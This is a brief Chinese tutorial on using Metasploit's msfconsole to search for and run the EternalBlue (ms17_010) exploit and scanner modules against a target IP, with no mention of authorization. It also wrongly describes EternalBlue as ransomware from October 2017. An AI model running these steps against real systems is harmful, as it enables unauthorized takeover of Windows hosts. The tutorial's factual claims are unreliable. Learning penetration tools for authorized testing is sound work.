msfconsole工具应用

这是一个排名第二的渗透工具，能够利用各种漏洞实现内网渗透，简称msf

如何使用

1.在kali终端中写入msfconsole
2.启动后查询你想要是用的漏洞名称或者编号(search查询的英语)
例:永恒之蓝是17年10月所起的一款勒索病毒，代号17_010(所以输入search ms17_010)

执行 search ms17_010 可以检索出永恒之蓝相关利用、扫描模块：

永恒之蓝MSF搜索界面

  1. 0号 exploit/windows/smb/ms17_010_eternalblue：永恒之蓝漏洞利用模块，拿下系统权限
  2. 24号 auxiliary/scanner/smb/smb_ms17_010：漏洞存活扫描模块，探测目标是否存在MS17漏洞
    3.使用(use 0或者use 24)

4.配置必选项(show options)

配置界面

yes所表示的就是必选项
(RHOSTS:你被攻击人ip LPORT:侵入端口 LHOST:你的ip)

其他保持默认即可

5.配置完后run运行